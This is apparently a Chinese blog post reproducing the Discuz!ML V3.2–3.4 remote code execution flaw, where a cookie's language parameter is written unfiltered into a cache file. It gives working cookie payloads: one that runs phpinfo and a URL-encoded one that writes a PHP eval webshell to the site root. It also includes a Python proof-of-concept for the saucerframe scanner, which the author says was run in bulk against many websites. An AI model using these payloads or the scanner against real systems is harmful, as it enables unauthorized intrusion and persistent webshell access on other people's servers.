Discuz!ML V3.X 代码注入复现

漏洞简介

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用。

本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的,cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行。

影响系统及版本:Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4

漏洞复现

将源码中upload文件夹下面的代码复制到web目录下面,浏览器访问,安装:

网站搭建好了,我们打开burp,直接刷新抓包:

在cookies里我们可以看到wYbI_2132_language=sc这个参数,即为漏洞点,我们将其改为wYbI_2132_language=sc'.phpinfo().';,结果如下:

成功执行phpinfo。我们也可以写一个webshell:

sc.'.+file_put_contents('shell.php',urldecode('%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%32%25%37%61%25%32%32%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65')).'

解码后写入内容为:
<?php eval($_POST["z"]);?>

然后即可在根目录下找到shell.php:

漏洞分析

直接搬大佬们的文章 -> https://www.anquanke.com/post/id/181887

poc

写了一个简单的poc,用saucerfram批量跑了一批网站,但是成功率很低,跑出来几个垃圾站,就没什么用。

以下为saucerframe上的poc:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from plugin.target_parse import get_standard_url
from lib.core.Request import request
import re


def poc(url):
    url = get_standard_url(url)
    url = url + "/forum.php"
    try:
        r = request.get(url, timeout=5)
        tmp = re.split(" |=|,", r.headers['Set-Cookie'])
        field = [i for i in tmp if "language" in i]
        if not field:
            return False
        cookie = {
            field[0]: "'.phpinfo().'"
        }
        r = request.get(url, cookies=cookie, timeout=5)
        if "PHP Version" in r.text:
            return True
    except:
        return False

参考文章

1 + 4 =
1 评论
    热搜Chrome 63Windows 7
    9月22日 回复

    文章本次非常喜欢